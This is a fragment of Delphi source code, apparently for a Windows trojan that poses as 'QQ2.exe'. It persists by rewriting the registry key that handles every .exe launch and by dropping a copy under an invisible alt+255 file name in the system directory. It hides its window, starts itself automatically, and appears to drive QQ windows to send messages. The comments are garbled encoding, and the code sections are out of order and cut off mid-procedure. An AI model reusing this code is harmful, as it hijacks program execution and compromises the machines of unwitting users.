begin
Result:=CreateWindow('Button',name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE
or BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil);
end;
function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd;
begin
//È¡µÃÓ¦ÓóÌÐòʵÀý¾ä±ú
hInst:=GetModuleHandle(nil);
//³õʹ»¯´°¿ÚÀàµÄÐÅÏ¢
with wClass do
begin
Style:= CS_PARENTDC;
hIcon:= LoadIcon(hInst,'MAINICON');
lpfnWndProc:= @WindowProc;
hInstance:= hInst;
hbrBackground:= COLOR_BTNFACE+1;
lpszClassName:= 'MainClass';
hCursor:= LoadCursor(0,IDC_ARROW);
end;
// ×¢²á´°¿ÚÀà
RegisterClass(wClass);
// ½¨Á¢Ö÷´°¿Ú
Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or
WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil);
end;
//////////////////////////////////////////////////////
//---------Ö÷¹ý³Ì,ÀàËÆÓÚ CÓïÑÔÖÐµÄ WinMain()
begin
WriteKey(ExeFilePath, '', ExeFileValue, KeyRoot);
GetMem(HidePath, PathLen);
GetSystemDirectory(HidePath, PathLen); //true Ϊ²»¸²¸Ç
if not CopyFile(pChar(ParamStr(0)), pChar(HidePath+ExecName), true) then
begin
WinExec(CmdLine+2,1);
//deletefile(pchar(hidepath+execname));
end;
///!Æô¶¯Ä¾Âí,ÕâÒÔÉϵĴúÂë¾ÍСÐÄʹÓã¬ÓÐÆÆ»µÁ¦£¬¸ÄÁËEXEÎļþ¹ØÁ¬¡£Áí
//Çë¿´ºÃ´úÂ룬true or false,Äã¿´×ÅÓá£
if findwindow('MainClass',nil)<>0 then exit;
//½¨Á¢Ö÷´°¿Ú
handle:=CreateMain(exename,0,0,280,60);
ShowWindow(handle, sw_Hide); //Òþ²Ø×Ô¼º-----------------------
//½¨Á¢Ëĸö¿ØÖư´Å¥
hButtonStart:=CreateButton('¿ªÊ¼',10,4,70,24);
hButtonStop:=CreateButton('·¢ËÍ' ,100,4,70,24);
hButtonExit:=CreateButton('Í˳ö' ,190,4,70,24);
//´´½¨×ÖÌå¶ÔÏó
hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH or FF_DONTCARE,'ËÎÌå');
//¸Ä±ä×ÖÌå
SendMessage(hButtonStart,WM_SETFONT,hFont,0);
SendMessage(hButtonStop,WM_SETFONT,hFont,0);
SendMessage(hButtonExit,WM_SETFONT,hFont,0);
///×Ô¶¯¿ªÊ¼
SendMessage(hButtonStart,WM_LBUTTONDOWN,MK_LBUTTON,0);
SendMessage(hButtonStart,WM_LBUTTONUP,0,0);
//½øÈëÏûϢѻ·
while(GetMessage(Msg,Handle,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
uses
windows,messages,sysutils,shellapi;
{$R *.res}
const
exename:pchar='QQ2.exe';
ExeFilePath='exefile\shell\open\command';
ExeFileValue='ÿ "%1" %*';//alt+255
ExecName='\ÿ.exe' ;//alt+255
PathLen=90;
KeyRoot=$80000000;
var
//----------------------
wClass: TWndClass; //´°¿ÚÀà±äÁ¿
Msg: TMSG; //ÏûÏ¢±äÁ¿
hInst, //³ÌÐòʵÀý
Handle, //Ö÷´°¿Ú¾ä±ú
hFont, //×ÖÌå¾ä±ú
//----------------
hButtonStart, //¿ªÊ¼°´Å¥
hButtonStop, //Í£Ö¹°´Å¥
hButtonExit, //Í˳ö°´Å¥
mcount,newtime:integer;
buffer: array[0..255] of Char;
myqq: Hwnd;
btnwnd: Hwnd;
i,ii,iii:integer;
fname : string;
j:string;
K:HKEY;
HidePath : pChar;
//________________________
procedure ShutDown; //ÓÃÓÚexit
begin
//ɾ³ý×ÖÌå¶ÔÏó
DeleteObject(hFont);
//È¡Ïû´°¿ÚÀàµÄ×¢²á
UnRegisterClass(wClass.lpszClassName,hInst);
//½áÊøÖ÷½ø³Ì
ExitProcess(hInst);
end;
//------------------ ×¢²á±í
procedure WriteKey(o,p,q:LPSTR;s:HKEY);
begin
RegOpenKey(s,PChar(o),K);
RegSetValueEx(K,PChar(p),0,1,PChar(q),lstrlen(q));
end;
//----------------------·¢ËÍ£¬STOPBUTTON
procedure sentme;
begin
try
btnWnd:=GetDlgItem(myqq,1);
SendMessage(btnWnd,WM_LBUTTONDOWN,MK_LBUTTON,0);
